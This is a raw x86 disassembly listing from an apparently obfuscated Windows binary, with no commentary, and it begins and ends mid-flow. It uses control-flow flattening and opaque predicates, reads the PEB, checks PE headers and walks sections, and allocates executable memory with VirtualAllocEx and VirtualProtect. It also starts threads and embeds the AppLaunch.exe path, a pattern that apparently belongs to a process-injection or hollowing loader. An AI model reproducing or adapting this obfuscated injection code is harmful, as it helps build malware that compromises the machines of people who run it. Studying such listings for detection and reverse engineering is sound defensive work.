mov ecx, 0x85609a91
cmovne eax, ecx
jmp 0x402370
mov eax, dword [0x4ab3c8]
mov esi, 0x12b07db9
mov ebx, 0x8f6ffeed
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x8f6ffeed
jmp 0x402347
mov eax, dword [ebp - 0x18]
mov eax, 0xc5bf61d4
jmp 0x402370
mov eax, dword [ebp - 0x70]
push dword [ebp - 0x120]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, 0xbf0f242c
jmp 0x402370
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
mov eax, 0xe4796849
jmp 0x402370
mov eax, dword [ebp - 0x110]
mov eax, 0x12b07db9
jmp 0x402370
mov eax, 0xe6337dc2
jmp 0x402370
mov eax, dword [ebp - 0xec]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0xcc]
mov dword [eax], 0
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
mov eax, 0x631e6d02
jmp 0x402370
mov eax, dword [ebp - 0xcc]
mov dword [eax], 1
mov eax, 0x2d96e76f
jmp 0x402370
mov eax, 0xc4c63d21
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0xa05146e9
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x1d663d93
jmp 0x406267
mov eax, dword [ebp - 0x114]
mov eax, 0x8ff6a468
jmp 0x402370
mov eax, dword [ebp - 0x70]
mov eax, 0xc97e0d5c
jmp 0x402370
mov eax, dword [0x4ab3c8]
mov esi, 0x6127e6c5
mov ebx, 0xc2066378
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc2066378
jmp 0x405ced
mov eax, dword [ebp - 0x1b8]
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, 0xa979a162
jmp 0x405d75
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, 0xbe661d5
setne byte [ebp - 0x8e]
jmp 0x402370
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0xa8]
push 0x40
push 0x3000
push dword [eax]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xf0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xf0]
mov eax, 0xadf99d32
jmp 0x402370
mov eax, dword [0x4ab3c8]
mov esi, 0x498a5d55
mov ebx, 0x28058f0a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x28058f0a
jmp 0x405ced
mov eax, dword [ebp - 0x44]
mov dword [eax], 0x20
mov eax, 0x8fd10b54
jmp 0x402370
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xec]
mov dword [ecx], eax
mov eax, dword [ebp - 0xbc]
movzx eax, byte [eax]
mov byte [ebp - 0x49], al
mov eax, 0x367229d
jmp 0x402370
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0x168]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x16c], eax
mov eax, 0xfc42d441
jmp 0x402370
mov eax, dword [ebp - 0x44]
mov dword [eax], 4
mov eax, 0xc05416ee
jmp 0x402370
mov eax, dword [ebp - 0x24]
mov dword [eax], 2
mov eax, 0x50769b3b
jmp 0x402370
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0x1a0]
mov edx, dword [ebp - 0x19c]
mov dword [ecx + eax*4], edx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0xac]
mov eax, 0x9978b21a
jmp 0x402370
mov eax, dword [ebp - 0x24]
mov esi, 0x8a9ec7a3
mov dword [eax], 2
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x1d52f1f3
jmp 0x406267
mov eax, 0x6d47bc0a
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0xdc620de5
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xe9e37c51
jmp 0x405e7c
mov eax, dword [0x4ab3c8]
mov ebx, 0x9832d8a0
mov esi, 0xfdb3ea34
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xfdb3ea34
jmp 0x404a6b
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x20]
inc eax
mov dword [ecx], eax
mov eax, 0xe91370ee
jmp 0x402370
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x74]
add eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, 0x1d663d93
jmp 0x402370
mov eax, dword [0x4ab3c8]
mov esi, 0x15e132c4
mov ebx, 0x8e3c00a6
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x8e3c00a6
jmp 0x402347
mov eax, 0x5cca47c
jmp 0x402370
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd4]
mov eax, 0x179083f3
jmp 0x402370
mov eax, 0x5c484195
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0x9ea470b4
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xbccb7a6d
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x18]
cmovge eax, edx
mov ecx, dword [ecx]
add ecx, 0x34
mov dword [ebp - 0x138], ecx
jmp 0x402370
mov eax, 0x6b2fdc92
jmp 0x402370
push dword [ebp - 0xe0]
push dword [ebp - 0x124]
push dword [ebp - 0x128]
push dword [ebp - 0x12c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0x3075a4ff
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x8e3c00a6
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
jmp 0x4065fe
mov eax, dword [ebp - 0x30]
mov esi, 0x2c639e7
mov ebx, 0x4be68148
mov eax, dword [eax]
mov dword [ebp - 0x1c8], eax
mov eax, dword [0x4ab3c8]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x4be68148
jmp 0x402347
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
mov eax, 0xe0e9a7c5
jmp 0x402370
mov eax, dword [ebp - 0x108]
mov esi, 0xdf39dcd1
mov ebx, 0xcb341c2b
mov ecx, dword [eax]
add ecx, dword [ebp - 0x48]
mov dword [eax], ecx
mov eax, dword [0x4ab3c8]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xcb341c2b
jmp 0x402347
mov eax, 0x66155ff6
jmp 0x402370
mov eax, dword [ebp - 0x44]
mov dword [eax], 2
mov eax, 0x91c1570c
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0xe9e2c1a6
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x792ae60e
jmp 0x406267
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, 0x52fd877c
jmp 0x402370
mov eax, 0x14a3b82
jmp 0x402370
mov eax, 0x23e17345
jmp 0x402370
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x30]
inc eax
mov dword [ecx], eax
mov eax, 0xe4796849
jmp 0x402370
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x64]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, 0x8ef81a52
jmp 0x402370
cmp byte [ebp - 0x89], 0
mov eax, 0xb6d4870e
mov ecx, 0xd0c9d14a
cmovne eax, ecx
jmp 0x402370
mov eax, dword [ebp - 0x2c]
mov ebx, 0x9b3cb107
mov esi, 0x880bf55d
mov eax, dword [eax]
mov dword [ebp - 0x1c4], eax
mov eax, dword [0x4ab3c8]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x880bf55d
jmp 0x406341
mov eax, dword [ebp - 0x1b0]
mov edx, 0x6fcdc824
movzx eax, word [eax + 2]
mov ecx, dword [ebp - 0x1ac]
cmp ecx, eax
mov eax, 0x13854963
cmovl eax, edx
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0x43fd5461
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x672579bc
jmp 0x4065f0
mov ecx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov ebx, 0x5cffe7a0
lea edx, [ecx + 1]
imul edx, ecx
mov esi, edx
xor esi, 0xfffffffe
test esi, edx
sete cl
cmp eax, 0xa
setl ch
xor ch, cl
mov ecx, 0x6478c530
cmovne ecx, ebx
test esi, edx
mov edx, ecx
cmove edx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x11c], eax
jmp 0x405cab
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0xb72fb65b
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x7e3e6612
jmp 0x406267
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, 0x5f15f9d9
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov ebx, 0x5fa5d444
lea eax, [edx + 1]
imul eax, edx
mov esi, eax
xor esi, 0xfffffffe
test esi, eax
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x28058f0a
cmovne edx, ebx
test esi, eax
mov eax, edx
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0x14]
cmovge eax, edx
mov ecx, dword [ecx]
mov dword [ebp - 0x9c], ecx
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
mov esi, dword [ebp - 0x20]
mov esi, dword [esi]
lea esi, [esi + esi*4]
mov ecx, dword [ecx + esi*8 + 0xc]
mov dword [ebp - 0x84], ecx
jmp 0x402370
mov eax, 0xf24239fb
jmp 0x402370
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x34]
mov dword [eax], ecx
mov eax, dword [ebp - 0x5c]
push 0x45c00
push 0x45928e
push dword [ebp - 0x5c]
vzeroupper
call fcn.0043d7a0
add esp, 0xc
push 0x45c00
push dword [ebp - 0x5c]
call fcn.00401990
add esp, 8
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x34]
mov esi, 0xe9e37c51
mov dword [ecx], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x57080d4d
cmovne esi, ebx
test edx, eax
mov eax, esi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0x18]
cmovge eax, esi
mov ecx, dword [ecx]
cmp dword [ecx], 0x4550
setne byte [ebp - 0x87]
jmp 0x402370
mov eax, dword [0x4ab3c8]
mov ebx, 0x3fde6b3e
mov esi, 0x8202824b
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x8202824b
jmp 0x406341
mov eax, dword [ebp - 0x3c]
mov ebx, 0x526d3ccd
mov esi, 0xb8d4fc54
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
mov eax, dword [0x4ab3c8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xb8d4fc54
jmp 0x406341
mov eax, 0x2d745202
jmp 0x402370
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xdfffffff
and ecx, eax
mov eax, 0x10c3e47d
mov dword [ebp - 0x1b4], ecx
jmp 0x402370
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x1d0], eax
mov eax, 0xce955cab
jmp 0x402370
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0xa8]
mov eax, 0x9e45e353
jmp 0x402370
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov eax, 0x5f468f2
jmp 0x402370
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, 0xa61e07e1
jmp 0x402370
mov eax, dword [ebp - 0xa8]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x7c]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x18]
mov eax, 0x6127e6c5
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0x17c9b090
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x8f6ffeed
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x110]
cmovge ecx, edx
add eax, 8
mov dword [ebp - 0x188], eax
mov eax, ecx
jmp 0x402370
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov eax, 0xd022da1f
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0x51dfe333
movzx edi, word [ebp - 0xc2]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x9e4949ce
cmovne esi, ebx
test edx, eax
mov edx, dword [ebp - 0xf8]
mov eax, esi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, esi
cmp edx, edi
setl byte [ebp - 0x88]
jmp 0x402370
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
inc eax
mov dword [ecx], eax
mov eax, 0xa2050ddc
jmp 0x402370
cmp byte [ebp - 0x87], 0
mov eax, 0xcc2577a4
mov ecx, 0xeca77a21
cmovne eax, ecx
jmp 0x402370
mov eax, 0x8715a149
jmp 0x402370
mov eax, 0xa932c0bc
jmp 0x402370
mov eax, dword [ebp - 0xb0]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0xb0]
vmovups ymm0, ymmword [0x49eee6]
vmovups ymm1, ymmword [0x49eece]
vmovups ymm2, ymmword [0x49eeae]
mov dword [ecx], eax
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xe4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xb4]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb4]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
add eax, 0x24
mov dword [ecx], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, 0xcb56a2f6
jmp 0x402370
mov eax, 0xe247de17
jmp 0x402370
mov eax, dword [0x4ab3c8]
mov esi, 0x52fd877c
mov ebx, 0x37fad9b2
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x37fad9b2
jmp 0x402347
mov eax, dword [0x4ab3c8]
mov esi, 0xb7a9c321
mov ebx, 0x82a2f34e
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x82a2f34e
jmp 0x402347
mov eax, 0x30e98c8b
jmp 0x402370
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x148], eax
mov eax, 0xe13b7920
jmp 0x402370
mov eax, 0xd9c73fec
jmp 0x402370
mov eax, 0xab4905d2
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0xede872fa
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x5ac62a09
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0xa8]
cmovge eax, edx
jmp 0x402370
cmp byte [ebp - 0x8e], 0
mov eax, 0x5e9cdd70
mov ecx, 0xd91f518e
cmovne eax, ecx
jmp 0x402370
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x1cc]
vmovsd xmm0, qword [eax]
mov eax, 0x54a0c8ae
vmovsd qword [ecx], xmm0
jmp 0x402370
mov eax, 0xd66aab4e
jmp 0x402370
mov eax, dword [0x4ab3c8]
mov esi, 0x394d28d8
mov ebx, 0x41d2f53a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x41d2f53a
jmp 0x405ce5
mov eax, 0xb1d02cb2
jmp 0x402370
mov eax, 0x9ba66331
jmp 0x402370
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, 0x2e4c65c5
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0x3925c4d7
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x5825c6bf
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
jmp 0x4065fe
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x11c]
mov esi, 0x455bfd36
mov ebx, 0x24f87b17
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
add eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, dword [0x4ab3c8]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x24f87b17
jmp 0x402347
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, 0x498a5d55
jmp 0x402370
mov eax, dword [0x4ab3c8]
mov ebx, 0x8ef81a52
mov esi, 0x77e5c510
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x77e5c510
jmp 0x406341
mov eax, 0xcbef3296
jmp 0x402370
mov eax, dword [0x4ab3c8]
mov edi, 0x53b3efe3
mov esi, 0x15a2c4bd
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x15a2c4bd
sete cl
cmove eax, edi
cmp dword [0x4ab3c4], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, edi
jmp 0x402370
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x140], eax
mov eax, 0x4a2390a7
mov ecx, dword [ebp - 0x140]
mov dword [ebp - 0xf4], ecx
jmp 0x402370
mov eax, 0x55ee80a8
jmp 0x402370
mov eax, 0x71a35b9a
jmp 0x402370
mov eax, 0x97ea6b37
jmp 0x402370
mov ecx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0x2437a8d2
lea edx, [ecx + 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp eax, 0xa
setl ch
xor ch, cl
mov ecx, 0xd73bad54
cmovne ecx, esi
cmp edx, 0xffffffff
mov edx, ecx
cmove edx, esi
mov esi, dword [ebp - 0x14]
cmp eax, 0xa
mov esi, dword [esi]
mov dword [ebp - 0x194], esi
mov esi, dword [ebp - 0x3c]
mov esi, dword [esi]
mov ebx, dword [ebp - 0x38]
mov ebx, dword [ebx]
lea ebx, [ebx + ebx*4]
lea eax, [esi + ebx*4]
mov dword [ebp - 0x114], eax
cmovge edx, ecx
mov eax, edx
jmp 0x402370
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x100]
mov esi, 0x5256fa1a
mov ebx, 0xfdb3ea34
cmp ecx, dword [eax + 0x1c]
mov eax, dword [0x4ab3c8]
lea ecx, [eax + 1]
setne byte [ebp - 0x89]
imul ecx, eax
mov eax, 0xfdb3ea34
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, esi
cmp dword [0x4ab3c4], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, esi
jmp 0x402370
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ecx], eax
mov eax, 0x196beb5c
jmp 0x402370
mov eax, 0x8db91051
jmp 0x402370
mov eax, 0x64c8c3d
jmp 0x402370
mov eax, 0xcff5e117
jmp 0x402370
movzx eax, byte [ebp - 0x49]
mov eax, 0x6256598f
jmp 0x402370
mov eax, dword [ebp - 0x170]
mov ecx, 0xba0ded68
cmp eax, dword [ebp - 0x174]
mov eax, 0x948dfcd1
cmovl eax, ecx
jmp 0x402370
cmp dword [ebp - 0x1bc], 0
mov eax, 0x50c947c1
mov ecx, 0xaa404d57
cmove eax, ecx
jmp 0x402370
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0x14]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
lea edx, [edx + edx*4]
push dword [ecx + edx*8 + 0x10]
push eax
